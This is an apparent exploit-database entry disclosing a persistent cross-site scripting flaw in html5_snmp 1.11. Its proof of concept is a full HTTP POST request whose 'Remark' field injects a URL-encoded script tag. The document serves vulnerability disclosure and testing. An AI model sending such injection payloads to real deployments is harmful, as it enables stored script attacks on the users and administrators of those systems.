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# Exploit Title: html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting  
# Date: 2019-11-01  
# Exploit Author: Cakes  
# Vendor Homepage: https://github.com/lolypop55/html5_snmp  
# Software Link: https://github.com/lolypop55/html5_snmp.git  
# Version: 1.11  
# Tested on: CentOS 7  
# CVE: N/A  
  
# PoC  
  
POST /add_router_operation.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://TARGET/add_router.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 128  
Cookie: submenu1=block; showips=10; showurls=10; showreferers=10; PHPSESSID=9m6bv15esubafglv5cnbcha421  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
  
Router_ID=ID&Router_Name=Name&Router_IP=IP&String=STRING&Remark=%3Cscript%3Ealert%28%22test5%22%29%3B%3C%2Fscript%3E&Submit=Save